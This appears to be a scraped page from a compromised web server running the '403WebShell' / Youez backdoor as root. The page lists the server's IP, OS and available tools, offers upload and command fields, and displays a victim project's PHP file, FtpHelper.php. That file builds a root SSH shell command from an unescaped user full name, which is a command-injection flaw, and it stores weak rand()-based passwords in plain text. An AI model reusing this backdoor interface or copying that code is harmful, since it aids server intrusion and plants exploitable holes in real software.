WordPress

Briefly unavailable for scheduled maintenance.
Check back in a some hours.
403WebShell
403Webshell
Server IP : 38.242.244.58  /  Your IP : 216.73.217.62
Web Server : Apache/2.4.41 (Ubuntu)
System : Linux vmi1486879.contaboserver.net 5.4.0-166-generic #183-Ubuntu SMP Mon Oct 2 11:28:33 UTC 2023 x86_64
User : root ( 0)
PHP Version : 7.4.3-4ubuntu2.19
Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,pcntl_unshare,
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : OFF
Directory :  /var/www/html/sura/src/Service/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /var/www/html/sura/src/Service/FtpHelper.php
<?php
/**
 * Created by PhpStorm.
 * User: komu
 * Date: 1/30/18
 * Time: 11:00 AM
 */

namespace App\Service;

use App\Entity\FtpUser;
use App\Entity\User;
use Doctrine\ORM\EntityManager;
use Doctrine\ORM\OptimisticLockException;
use Doctrine\ORM\ORMException;
use Symfony\Component\DependencyInjection\ParameterBag\ParameterBagInterface;
use Symfony\Component\Process\Process;
use Symfony\Component\Routing\Router;

class FtpHelper
{
    private $em;

    private $router;

    private $params;

    public function __construct(EntityManager $em, Router $router,ParameterBagInterface $parameterBag)
    {
        $this->em = $em;
        $this->router = $router;
        $this->params = $parameterBag;
    }

    public function createFTP(User $user)
    {
        if ($user->hasRole('ROLE_CONTRIBUTOR')) {
            $full_name = $user->getFullName();
            $username = $this->clean($full_name) . $user->getId();
            $pass = $this->randomPassword(12);
            $command = ' ssh -i '.getenv('FTP_SERVER_KEY_FILE').' root@144.91.124.39 ./new_ftp_user.sh  '.$username.' '.$pass.' "'.$full_name.'"';
            $process= shell_exec($command);

            $ftpUser = $user->getFtpUser();
            if($ftpUser===null){
                $ftpUser = new FtpUser();
                $ftpUser->setUser($user);

            }
            $ftpUser->setUserid($username);
            $ftpUser->setPasswd($pass);
            if(is_null($ftpUser->getHomedir())){
                $uploads_directory = $this->params->get('uploads_directory');
                $target_folder = $uploads_directory.$ftpUser->getUserid();
                $ftpUser->setHomedir($target_folder);
                $ftpUser->setProcessed(true);
            }

            $this->em->persist($ftpUser);
            try {
                $this->em->flush();
            } catch (OptimisticLockException $e) {
            } catch (ORMException $e) {
                var_dump($e);
            }
            //maybe send ftp email

        }
    }
    public function clean($string)
    {
        $string = str_replace(array('[\', \']'), '', $string);
        $string = preg_replace('/\[.*\]/U', '', $string);
        $string = preg_replace('/&(amp;)?#?[a-z0-9]+;/i', '', $string);
        $string = htmlentities($string, ENT_COMPAT, 'utf-8');
        $string = preg_replace('/&([a-z])(acute|uml|circ|grave|ring|cedil|slash|tilde|caron|lig|quot|rsquo);/i', '\\1', $string);
        $string = preg_replace(array('/[^a-z0-9]/i', '/[-]+/'), '', $string);
        return strtolower(trim($string, '-'));
    }

    public function randomPassword($len)
    {
        $alphabet = 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ1234567890';
        $pass = array(); //remember to declare $pass as an array
        $alphaLength = strlen($alphabet) - 1; //put the length -1 in cache
        for ($i = 0; $i < $len; $i++) {
            $n = rand(0, $alphaLength);
            $pass[] = $alphabet[$n];
        }
        return implode($pass); //turn the array into a string

    }
}

Youez - 2016 - github.com/yon3zu
LinuXploit